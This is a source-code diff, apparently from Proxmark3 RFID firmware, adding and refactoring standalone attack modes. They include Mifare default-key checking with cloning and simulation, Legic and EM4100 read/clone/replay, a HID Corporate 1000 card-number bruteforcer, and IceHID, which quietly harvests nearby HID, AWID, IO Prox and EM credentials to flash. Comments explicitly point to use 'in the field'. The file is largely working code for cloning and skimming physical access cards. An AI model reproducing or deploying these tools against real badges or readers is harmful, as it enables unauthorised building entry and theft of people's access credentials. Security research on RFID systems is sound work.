rdv40_spiffs_write(filename, mem, p_card->cardsize, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[=] saved card dump to flashmem::" _YELLOW_("%s"), filename);
OUT:
BigBuf_free_keep_EM();
#endif
}
void ModInfo(void) {
DbpString(" HF Legic Prime standalone");
}
// Searching for Legic card until found and read.
// Simulating recorded Legic Prime card.
// C = Searching
// A, B, C = Reading
// A, D = Simulating
void RunMod() {
StandAloneMode();
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
Dbprintf("[=] >> HF Legic Prime Read/Simulate Started <<");
DbpString("[=] press and HOLD button to exit standalone mode");
for (;;) {
WDT_HIT();
//exit from hf_legic, send usbcommand
if (data_available()) break;
//Was our button held down or pressed?
int button_pressed = BUTTON_HELD(280);
if (button_pressed == BUTTON_HOLD) {
break;
}
LEDsoff();
LED_C_ON();
DbpString("[=] looking for tags");
int read_success = PM3_ESOFT;
//search for legic card until reading successfull or button pressed
do {
LED_C_ON();
SpinDelay(500);
// We don't care if we read a MIM256, MIM512 or MIM1024
// we just read 1024 bytes
read_success = LegicRfReaderEx(0, 1024, 0x55);
} while (read_success == PM3_ESOFT && !BUTTON_PRESS());
LEDsoff();
//simulate if read successfully
if (read_success != PM3_ESOFT) {
legic_card_select_t *p_card;
p_card = getLegicCardInfo();
if (p_card->cardsize == 0)
continue;
save_dump_to_file(p_card);
LED_D_ON();
uint8_t ct;
switch(p_card->tagtype) {
case 0x0D:
ct = 0;
break;
case 0x1D:
ct = 1;
break;
case 0x3D:
ct = 2;
break;
default:
continue;
}
// The read data is migrated to a MIM1024 card
LegicRfSimulate(ct);
}
}
LEDsoff();
#ifdef WITH_FLASH
DownloadLogInstructions();
#endif
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
}

View file

@ -33,7 +33,21 @@ on a blank card.
## Spanish full description of the project [here](http://bit.ly/2c9nZXR).
*/
#include "hf_mattyrun.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "commonutil.h"
#include "iso14443a.h"
#include "mifarecmd.h"
#include "crc16.h"
#include "BigBuf.h"
#include "mifaresim.h" // mifare1ksim
#include "mifareutil.h"
uint8_t uid[10];
uint32_t cuid;
@ -122,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_
};
}
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
DbprintfEx(FLAG_NEWLINE, "write block send command error");
break;
};
@ -181,12 +195,12 @@ static int saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
@ -223,6 +237,7 @@ void RunMod() {
*/
bool printKeys = false; // Prints keys
bool transferToEml = true; // Transfer keys to emulator memory
bool ecfill = true; // Fill emulator memory with cards content.
bool simulation = true; // Simulates an exact copy of the target tag
bool fillFromEmulator = false; // Dump emulator memory.
@ -261,7 +276,7 @@ void RunMod() {
keys in keyBlock's memory space .
*/
keyBlock = BigBuf_malloc(stKeyBlock * 6);
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
int mfKeysCnt = ARRAYLEN(mfKeys);
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
@ -308,7 +323,7 @@ void RunMod() {
Dbprintf("\tCurrent sector:%3d, block:%3d, key type: %c, key count: %i ", sec, block, type ? 'B' : 'A', mfKeysCnt);
int key = saMifareChkKeys(block, type, true, size, &keyBlock[0], &key64);
if (key == -1) {
LED(LED_RED, 50); //red
LED(LED_RED, 50);
Dbprintf("\t✕ Key not found for this sector!");
allKeysFound = false;
// break;
@ -333,7 +348,10 @@ void RunMod() {
TODO:
- Get UID from tag and set accordingly in emulator memory and call mifaresim with right flags (iceman)
*/
if (!allKeysFound && keyFound) {
if (allKeysFound) {
Dbprintf("\t✓ All keys found");
} else {
if (keyFound) {
Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!");
LED_C_ON(); //red
LED_A_ON(); //yellow
@ -344,10 +362,10 @@ void RunMod() {
Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!");
LED_C_ON(); //red
}
}
// If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned.
/*
If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned.
*/
if ((transferToEml) && (allKeysFound)) {
emlClearMem();
@ -399,7 +417,7 @@ void RunMod() {
simflags = FLAG_4B_UID_IN_DATA;
break;
}
Mifare1ksim(simflags | FLAG_MF_1K, 0, uid);
Mifare1ksim(simflags | FLAG_MF_1K, 0, uid, 0, 0);
LED_B_OFF();
/*

View file

@ -8,14 +8,29 @@
//-----------------------------------------------------------------------------
// main code for HF standalone mode Mifare /sniff/emulation by Craig Young
//-----------------------------------------------------------------------------
#include "hf_young.h"
#include "standalone.h" // standalone definitions
#include <inttypes.h>
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "commonutil.h"
#include "mifarecmd.h"
#include "iso14443a.h"
#include "protocols.h"
#define OPTS 2
typedef struct {
uint8_t uid[10];
uint8_t uidlen;
uint8_t atqa[2];
uint8_t sak;
} __attribute__((__packed__)) card_clone_t;
} PACKED card_clone_t;
void ModInfo(void) {
@ -136,18 +151,18 @@ void RunMod() {
SpinDelay(500);
// Begin clone function here:
/* Example from client/mifarehost.c for commanding a block write for "magic Chinese" cards:
SendCommandOLD(CMD_MIFARE_CSETBLOCK, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16);
SendCommandOLD(CMD_HF_MIFARE_CSETBL, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16);
Block read is similar:
SendCommandOLD(CMD_MIFARE_CGETBLOCK, params, blockNo, 0,...};
SendCommandOLD(CMD_HF_MIFARE_CGETBL, params, blockNo, 0,...};
We need to imitate that call with blockNo 0 to set a uid.
The get and set commands are handled in this file:
// Work with "magic Chinese" card
case CMD_MIFARE_CSETBLOCK:
case CMD_HF_MIFARE_CSETBL:
MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
case CMD_MIFARE_CGETBLOCK:
case CMD_HF_MIFARE_CGETBL:
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
@ -180,7 +195,7 @@ void RunMod() {
MifareCGetBlock(params, 0, testBlock0);
if (memcmp(testBlock0, newBlock0, 16) == 0) {
DbpString("Cloned successfull!");
DbpString("Cloned successful!");
cardRead[selected] = 0; // Only if the card was cloned successfully should we clear it
playing = 0;
iGotoRecord = 1;

View file

@ -0,0 +1,100 @@
//-----------------------------------------------------------------------------
// Artyom Gnatyuk, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF emul - Very simple mode. Simulate only predefined in low[] IDs
// Short click - select next slot and start simulation
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "lfops.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#define MAX_IND 16 // 4 LEDs - 2^4 combinations
#define CLOCK 64 //for 125kHz
// low & high - array for storage IDs. Its length must be equal.
// Predefined IDs must be stored in low[].
// In high[] must be nulls
uint64_t low[] = {0x565A1140BE, 0x365A398149, 0x5555555555, 0xFFFFFFFFFF};
uint32_t high[] = {0, 0, 0, 0};
uint8_t *bba, slots_count;
int buflen;
void ModInfo(void) {
DbpString(" LF EM4100 simulator standalone mode");
}
uint64_t ReversQuads(uint64_t bits) {
uint64_t result = 0;
for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
}
return result >> 24;
}
void FillBuff(uint8_t bit) {
memset(bba + buflen, bit, CLOCK / 2);
buflen += (CLOCK / 2);
memset(bba + buflen, bit ^ 1, CLOCK / 2);
buflen += (CLOCK / 2);
}
void ConstructEM410xEmulBuf(uint64_t id) {
int i, j, binary[4], parity[4];
buflen = 0;
for (i = 0; i < 9; i++)
FillBuff(1);
parity[0] = parity[1] = parity[2] = parity[3] = 0;
for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2;
for (j = 0; j < 4; j++)
FillBuff(binary[j]);
FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++)
parity[j] ^= binary[j];
}
for (j = 0; j < 4; j++)
FillBuff(parity[j]);
FillBuff(0);
}
void LED_Slot(int i) {
LEDsoff();
if (slots_count > 4) {
LED(i % MAX_IND, 0); //binary indication for slots_count > 4
} else {
LED(1 << i, 0); //simple indication for slots_count <=4
}
}
void RunMod() {
StandAloneMode();
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
Dbprintf("[=] >> LF EM4100 simulator started <<");
int selected = 0; //selected slot after start
slots_count = sizeof(low) / sizeof(low[0]);
bba = BigBuf_get_addr();
for (;;) {
WDT_HIT();
if (data_available()) break;
SpinDelay(100);
SpinUp(100);
LED_Slot(selected);
ConstructEM410xEmulBuf(ReversQuads(low[selected]));
SimulateTagLowFrequency(buflen, 0, true);
selected = (selected + 1) % slots_count;
}
}

View file

@ -0,0 +1,204 @@
//-----------------------------------------------------------------------------
// Artyom Gnatyuk, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF rwc - This mode can simulate ID from selected slot, read ID to
// selected slot, write from selected slot to T5555 tag and store
// readed ID to flash (only RDV4). Also you can set predefined IDs
// in any slot.
// To recall stored ID from flash execute:
// mem spifss dump o emdump p
// or:
// mem spifss dump o emdump f emdump
// then from shell:
// hexdump emdump -e '5/1 "%02X" /0 "\n"'
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "lfops.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#include "spiffs.h"
#ifdef WITH_FLASH
#include "flashmem.h"
#endif
#define MAX_IND 16 // 4 LEDs - 2^4 combinations
#define CLOCK 64 //for 125kHz
// low & high - array for storage IDs. Its length must be equal.
// Predefined IDs must be stored in low[].
// In high[] must be nulls
uint64_t low[] = {0x565AF781C7, 0x540053E4E2, 0x1234567890, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
uint32_t high[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
uint8_t *bba, slots_count;
int buflen;
void ModInfo(void) {
DbpString(" LF EM4100 read/write/clone mode");
}
uint64_t ReversQuads(uint64_t bits) {
uint64_t result = 0;
for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
}
return result >> 24;
}
void FillBuff(uint8_t bit) {
memset(bba + buflen, bit, CLOCK / 2);
buflen += (CLOCK / 2);
memset(bba + buflen, bit ^ 1, CLOCK / 2);
buflen += (CLOCK / 2);
}
void ConstructEM410xEmulBuf(uint64_t id) {
int i, j, binary[4], parity[4];
buflen = 0;
for (i = 0; i < 9; i++)
FillBuff(1);
parity[0] = parity[1] = parity[2] = parity[3] = 0;
for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2;
for (j = 0; j < 4; j++)
FillBuff(binary[j]);
FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++)
parity[j] ^= binary[j];
}
for (j = 0; j < 4; j++)
FillBuff(parity[j]);
FillBuff(0);
}
void LED_Slot(int i) {
LEDsoff();
if (slots_count > 4) {
LED(i % MAX_IND, 0); //binary indication, usefully for slots_count > 4
} else {
LED(1 << i, 0); //simple indication for slots_count <=4
}
}
void FlashLEDs(uint32_t speed, uint8_t times) {
for (int i = 0; i < times * 2; i++) {
LED_A_INV();
LED_B_INV();
LED_C_INV();
LED_D_INV();
SpinDelay(speed);
}
}
#ifdef WITH_FLASH
void SaveIDtoFlash(int addr, uint64_t id) {
uint8_t bt[5];
char *filename = "emdump";
rdv40_spiffs_mount();
for (int i = 0; i < 5; i++) {
bt[4 - i] = (uint8_t)(id >> 8 * i & 0xff);
}
if (exists_in_spiffs(filename) == false) {
rdv40_spiffs_write(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL);
} else {
rdv40_spiffs_append(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL);
}
}
#endif
void RunMod() {
StandAloneMode();
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
Dbprintf("[=] >> LF EM4100 read/write/clone started <<");
int selected = 0;
//state 0 - select slot
// 1 - read tag to selected slot,
// 2 - simulate tag from selected slot
// 3 - write to T5555 tag
uint8_t state = 0;
slots_count = sizeof(low) / sizeof(low[0]);
bba = BigBuf_get_addr();
LED_Slot(selected);
for (;;) {
WDT_HIT();
if (data_available()) break;
int button_pressed = BUTTON_HELD(1000);
SpinDelay(300);
switch (state) {
case 0:
// Select mode
if (button_pressed == 1) {
// Long press - switch to simulate mode
SpinUp(100);
LED_Slot(selected);
state = 2;
} else if (button_pressed < 0) {
// Click - switch to next slot
selected = (selected + 1) % slots_count;
LED_Slot(selected);
}
break;
case 1:
// Read mode.
if (button_pressed > 0) {
// Long press - switch to read mode
SpinUp(100);
LED_Slot(selected);
state = 3;
} else if (button_pressed < 0) {
// Click - exit to select mode
CmdEM410xdemod(1, &high[selected], &low[selected], 0);
FlashLEDs(100, 5);
#ifdef WITH_FLASH
SaveIDtoFlash(selected, low[selected]);
#endif
state = 0;
}
break;
case 2:
// Simulate mode
if (button_pressed > 0) {
// Long press - switch to read mode
SpinDown(100);
LED_Slot(selected);
state = 1;
} else if (button_pressed < 0) {
// Click - start simulating. Click again to exit from simulate mode
LED_Slot(selected);
ConstructEM410xEmulBuf(ReversQuads(low[selected]));
FlashLEDs(100, 5);
SimulateTagLowFrequency(buflen, 0, 1);
LED_Slot(selected);
state = 0; // Switch to select mode
}
break;
case 3:
// Write tag mode
if (button_pressed > 0) {
// Long press - switch to select mode
SpinDown(100);
LED_Slot(selected);
state = 0;
} else if (button_pressed < 0) {
// Click - write ID to tag
WriteEM410x(0, (uint32_t)(low[selected] >> 32), (uint32_t)(low[selected] & 0xffffffff));
LED_Slot(selected);
state = 0; // Switch to select mode
}
break;
}
}
}

View file

@ -24,8 +24,19 @@
//-----------------------------------------------------------------------------------
// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini
//-----------------------------------------------------------------------------------
#include "standalone.h" // standalone definitions
#include "lf_hidbrute.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "lfops.h"
#define OPTS 3
void ModInfo(void) {
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
}
@ -41,35 +52,29 @@ void RunMod() {
int playing = 0;
int cardRead = 0;
// Turn on selected LED
LED(selected + 1, 0);
for (;;) {
WDT_HIT();
// exit from SamyRun, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
SpinDelay(300);
int button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD)
continue;
// Button was held for a second, begin recording
if (button_pressed > 0 && cardRead == 0) {
if (cardRead == 0) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_D, 0);
WAIT_BUTTON_RELEASED();
// record
DbpString("[=] starting recording");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
@ -88,12 +93,7 @@ void RunMod() {
// record
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
WAIT_BUTTON_RELEASED();
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
@ -125,12 +125,10 @@ void RunMod() {
LED(LED_B, 0);
DbpString("[=] playing");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
WAIT_BUTTON_RELEASED();
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
CmdHIDsimTAG(high[selected], low[selected], 0);
CmdHIDsimTAG(0, high[selected], low[selected], 0, 0);
DbpString("[=] done playing");
if (BUTTON_HELD(1000) > 0)
@ -157,16 +155,15 @@ void RunMod() {
LED(LED_B, 0);
DbpString("[=] entering bruteforce mode");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
WAIT_BUTTON_RELEASED();
// Calculate Facility Code and Card Number from high and low
uint32_t cardnum = (low[selected] >> 1) & 0xFFFFF;
uint32_t fc = ((high[selected] & 1) << 11) | (low[selected] >> 21);
uint32_t original_cardnum = cardnum;
Dbprintf("[=] Proxbrute - starting decrementing card number");
Dbprintf("[=] HID brute - starting decrementing card number");
while (cardnum > 0) {
@ -191,12 +188,12 @@ void RunMod() {
// Print actual code to brute
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000);
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
}
cardnum = original_cardnum;
Dbprintf("[=] Proxbrute - starting incrementing card number");
Dbprintf("[=] HID brute - starting incrementing card number");
while (cardnum <= 0xFFFFF) {
@ -219,7 +216,7 @@ void RunMod() {
// Print actual code to brute
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000);
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
}
DbpString("[=] done bruteforcing");
@ -236,13 +233,13 @@ void RunMod() {
LED(selected + 1, 0);
} else {
while (BUTTON_PRESS())
WDT_HIT();
WAIT_BUTTON_RELEASED();
}
}
}
out:
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
DbpString("[=] exiting");
LEDsoff();
}

View file

@ -14,10 +14,7 @@
#ifndef __LF_HIDBRUTE_H
#define __LF_HIDBRUTE_H
#include "standalone.h" // standalone definitions
#include "apps.h" // debugstatements, lfops?
#define OPTS 3
#include <stdint.h>
void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);

View file

@ -0,0 +1,390 @@
//-----------------------------------------------------------------------------
// Christian Herrmann, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for HID collector aka IceHID by Iceman
//-----------------------------------------------------------------------------
#include <inttypes.h>
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "lfops.h"
#include "lfsampling.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "printf.h"
#include "spiffs.h"
#include "ticks.h"
#include "lfdemod.h"
/*
* `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal
* flash. It requires RDV4 hardware (for flash and battery).
*
* On entering stand-alone mode, this module will start reading/record HID credentials.
* Every found / collected credential will be written/appended to the logfile in flash
* as a text string.
*
* LEDs:
* - LED A: reading / record
* - LED B: writing to flash
* - LED C: unmounting/sync'ing flash (normally < 100ms)
*
* To retrieve log file from flash:
*
* 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log
* Copies log file from flash to your client.
*
* 2. exit the Proxmark3 client
*
* 3. more lf_hidcollect.log
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete the log file from flash:
*
* 1. mem spiffs remove lf_hidcollect.log
*/
#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log"
void DownloadLogInstructions() {
Dbprintf("");
Dbprintf("[=] To get the logfile from flash and display it:");
Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE);
Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client");
Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE);
}
bool log_exists;
void append(uint8_t *entry, size_t entry_len) {
LED_B_ON();
if (log_exists == false) {
rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
log_exists = true;
} else {
rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
}
LED_B_OFF();
}
uint32_t IceEM410xdemod() {
uint8_t *dest = BigBuf_get_addr();
size_t idx = 0;
int clk = 0, invert = 0, maxErr = 20;
uint32_t hi = 0;
uint64_t lo = 0;
size_t size = MIN(16385, BigBuf_max_traceLen());
//askdemod and manchester decode
int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1);
WDT_HIT();
if (errCnt > 50) {
BigBuf_free();
return PM3_ESOFT;
}
errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo);
if (errCnt != 1) {
BigBuf_free();
return PM3_ESOFT;
}
uint8_t entry[81];
memset(entry, 0, sizeof(entry));
if (size == 128) {
sprintf((char *)entry, "EM XL TAG ID: %06"PRIx32"%08"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n",
hi,
(uint32_t)(lo >> 32),
(uint32_t)lo,
(uint32_t)(lo & 0xFFFF),
(uint32_t)((lo >> 16LL) & 0xFF),
(uint32_t)(lo & 0xFFFFFF));
} else {
sprintf((char *)entry, "EM TAG ID: %02"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n",
(uint32_t)(lo >> 32),
(uint32_t)lo,
(uint32_t)(lo & 0xFFFF),
(uint32_t)((lo >> 16LL) & 0xFF),
(uint32_t)(lo & 0xFFFFFF));
}
append(entry, strlen((char *)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceAWIDdemod() {
uint8_t *dest = BigBuf_get_addr();
size_t size = MIN(12800, BigBuf_max_traceLen());
int dummyIdx = 0;
//askdemod and manchester decode
int idx = detectAWID(dest, &size, &dummyIdx);
if (idx <= 0 || size != 96) {
BigBuf_free();
return PM3_ESOFT;
}
//get raw ID before removing parities
uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32);
uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32);
uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32);
size = removeParity(dest, idx + 8, 4, 1, 88);
if (size != 66) {
BigBuf_free();
return PM3_ESOFT;
}
uint8_t entry[110];
memset(entry, 0, sizeof(entry));
uint8_t fmtLen = bytebits_to_byte(dest, 8);
if (fmtLen == 26) {
uint8_t fac = bytebits_to_byte(dest + 9, 8);
uint32_t cardnum = bytebits_to_byte(dest + 17, 16);
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo);
} else {
uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16);
if (fmtLen > 32) {
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32);
uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32);
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32"%08"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo);
} else {
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo);
}
}
append(entry, strlen((char *)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceIOdemod() {
int dummyIdx = 0;
uint8_t version = 0, facilitycode = 0;
uint16_t number = 0;
uint32_t hi = 0, lo = 0;
size_t size = MIN(12000, BigBuf_max_traceLen());
// uint8_t *dest = BigBuf_malloc(size);
uint8_t *dest = BigBuf_get_addr();
//fskdemod and get start index
int idx = detectIOProx(dest, &size, &dummyIdx);
if (idx < 0) {
BigBuf_free();
return PM3_ESOFT;
}
hi = bytebits_to_byte(dest + idx, 32);
lo = bytebits_to_byte(dest + idx + 32, 32);
version = bytebits_to_byte(dest + idx + 27, 8); //14,4
facilitycode = bytebits_to_byte(dest + idx + 18, 8);
number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9
uint8_t entry[64];
memset(entry, 0, sizeof(entry));
sprintf((char *)entry, "IO Prox XSF(%02u)%02x:%05u (%08"PRIx32"%08"PRIx32")\n"
, version
, facilitycode
, number
, hi
, lo
);
append(entry, strlen((char *)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceHIDDemod() {
int dummyIdx = 0;
uint32_t hi2 = 0, hi = 0, lo = 0;
// large enough to catch 2 sequences of largest format
size_t size = 50 * 128 * 2; // 12800 bytes
//uint8_t *dest = BigBuf_malloc(size);
uint8_t *dest = BigBuf_get_addr();
// FSK demodulator
int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx);
if (idx < 0) {
BigBuf_free();
return PM3_ESOFT;
}
if ((size == 96 || size == 192)) {
uint8_t entry[80];
memset(entry, 0, sizeof(entry));
// go over previously decoded manchester data and decode into usable tag ID
if (hi2 != 0) { //extra large HID tags 88/192 bits
sprintf((char *)entry, "HID large: %"PRIx32"%08"PRIx32"%08"PRIx32" (%"PRIu32")\n",
hi2,
hi,
lo,
(lo >> 1) & 0xFFFF
);
append(entry, strlen((char *)entry));
} else { //standard HID tags 44/96 bits
uint8_t bitlen = 0;
uint32_t fac = 0;
uint32_t cardnum = 0;
if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used
uint32_t lo2 = 0;
lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit
uint8_t idx3 = 1;
while (lo2 > 1) { //find last bit set to 1 (format len bit)
lo2 >>= 1;
idx3++;
}
bitlen = idx3 + 19;
fac = 0;
cardnum = 0;
if (bitlen == 26) {
cardnum = (lo >> 1) & 0xFFFF;
fac = (lo >> 17) & 0xFF;
}
if (bitlen == 37) {
cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20);
}
if (bitlen == 34) {
cardnum = (lo >> 1) & 0xFFFF;
fac = ((hi & 1) << 15) | (lo >> 17);
}
if (bitlen == 35) {
cardnum = (lo >> 1) & 0xFFFFF;
fac = ((hi & 1) << 11) | (lo >> 21);
}
} else { //if bit 38 is not set then 37 bit format is used
bitlen = 37;
cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20);
}
sprintf((char *)entry, "HID: %"PRIx32"%08"PRIx32" (%"PRIu32") Format: %d bit FC: %"PRIu32" Card: %"PRIu32"\n",
hi,
lo,
(lo >> 1) & 0xFFFF,
bitlen,
fac,
cardnum
);
append(entry, strlen((char *)entry));
}
Dbprintf("%s", entry);
}
BigBuf_free();
return PM3_SUCCESS;
}
void ModInfo(void) {
DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)");
}
void RunMod() {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
LFSetupFPGAForADC(LF_DIVISOR_125, true);
BigBuf_Clear();
StandAloneMode();
Dbprintf(_YELLOW_("[=] Standalone mode IceHID started"));
rdv40_spiffs_lazy_mount();
log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE);
// the main loop for your standalone mode
for (;;) {
WDT_HIT();
// exit from IceHID, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(280);
if (button_pressed == BUTTON_HOLD)
break;
LED_A_ON();
uint32_t res;
